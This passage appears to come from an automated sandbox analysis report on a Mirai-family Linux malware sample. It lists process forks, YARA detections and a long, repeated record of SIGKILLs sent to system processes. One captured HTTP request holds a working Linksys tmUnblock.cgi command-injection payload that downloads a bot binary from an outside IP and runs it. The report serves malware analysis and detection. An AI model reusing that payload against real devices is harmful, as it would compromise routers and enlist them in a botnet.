grep (PID: 6529, Parent: 6528, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6530, Parent: 6527)

sh (PID: 6530, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6531, Parent: 6530)

grep (PID: 6531, Parent: 6530, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6532, Parent: 6527)

sh (PID: 6532, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6533, Parent: 6532)

grep (PID: 6533, Parent: 6532, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6534, Parent: 6527)

sh (PID: 6534, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6535, Parent: 6534)

grep (PID: 6535, Parent: 6534, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6538, Parent: 6527)

sh (PID: 6538, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6539, Parent: 6538)

grep (PID: 6539, Parent: 6538, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6540, Parent: 6527)

sh (PID: 6540, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6541, Parent: 6540)

grep (PID: 6541, Parent: 6540, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6548, Parent: 6527)

sh (PID: 6548, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6549, Parent: 6548)

grep (PID: 6549, Parent: 6548, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6553, Parent: 6527)

sh (PID: 6553, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6555, Parent: 6553)

grep (PID: 6555, Parent: 6553, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 6543, Parent: 1)

rtkit-daemon (PID: 6543, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

systemd New Fork (PID: 6547, Parent: 1)

polkitd (PID: 6547, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

systemd New Fork (PID: 6558, Parent: 1)

generate-config (PID: 6558, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 6559, Parent: 6558)

pkill (PID: 6559, Parent: 6558, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 6561, Parent: 1)

systemd-journald (PID: 6561, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 6562, Parent: 1)

dbus-daemon (PID: 6562, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5225.1.000000001a887bdc.00000000531557b5.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5222.1.000000001a887bdc.00000000531557b5.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

HTTP traffic detected: POST /tmUnblock.cgi HTTP/1.1Host: 127.0.0.1:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: ZASEContent-Length: 257Content-Type: application/x-www-form-urlencodedData Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 33 37 2e 30 2e 31 31 2e 31 33 30 25 32 46 62 69 6e 73 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+mpsl%3B+wget+http%3A%2F%2F37.0.11.130%2Fbins%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1 (init), result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 491, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 761, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 774, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 777, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 797, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1344, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1476, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1860, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1886, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 2038, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5036, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5183, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5184, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5225, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5251, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5261, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5265, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5268, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5269, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5277, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5346, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5348, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5350, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5353, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5412, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5448, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5449, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5450, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5453, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5510, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5511, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5518, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5546, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5549, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5563, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5570, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5571, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5574, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5588, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5589, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5661, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5662, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5663, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5664, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5667, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5670, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5672, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5695, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5756, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5760, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5763, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5778, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5779, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5783, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5787, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5848, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5873, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5874, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5875, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5876, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5877, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5880, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5895, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5896, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5967, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5971, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5974, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5995, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5997, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6017, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6037, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6062, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6063, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6069, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6075, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6078, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6080, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6104, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6105, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6138, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6146, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6150, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6157, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6162, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6163, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6166, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6182, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6220, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6225, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6226, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6230, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6248, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6265, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6268, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6325, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6329, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6330, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6334, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6339, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6348, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6353, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6354, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6357, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6358, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6410, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6411, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6412, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6434, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6442, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6454, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6459, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6462, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6519, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6520, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6521, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6526, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6543, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6547, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6558, result: successful	Jump to behavior

Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1 (init), result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 491, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 761, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 774, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 777, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 797, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1344, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1476, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1860, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1886, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 2038, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5036, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5183, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5184, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5225, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5251, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5261, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5265, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5268, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5269, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5277, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5346, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5348, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5350, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5353, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5412, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5448, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5449, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5450, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5453, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5510, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5511, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5518, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5546, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5549, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5563, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5570, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5571, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5574, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5588, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5589, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5661, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5662, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5663, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5664, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5667, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5670, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5672, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5695, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5756, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5760, result: successful	Jump to behavior
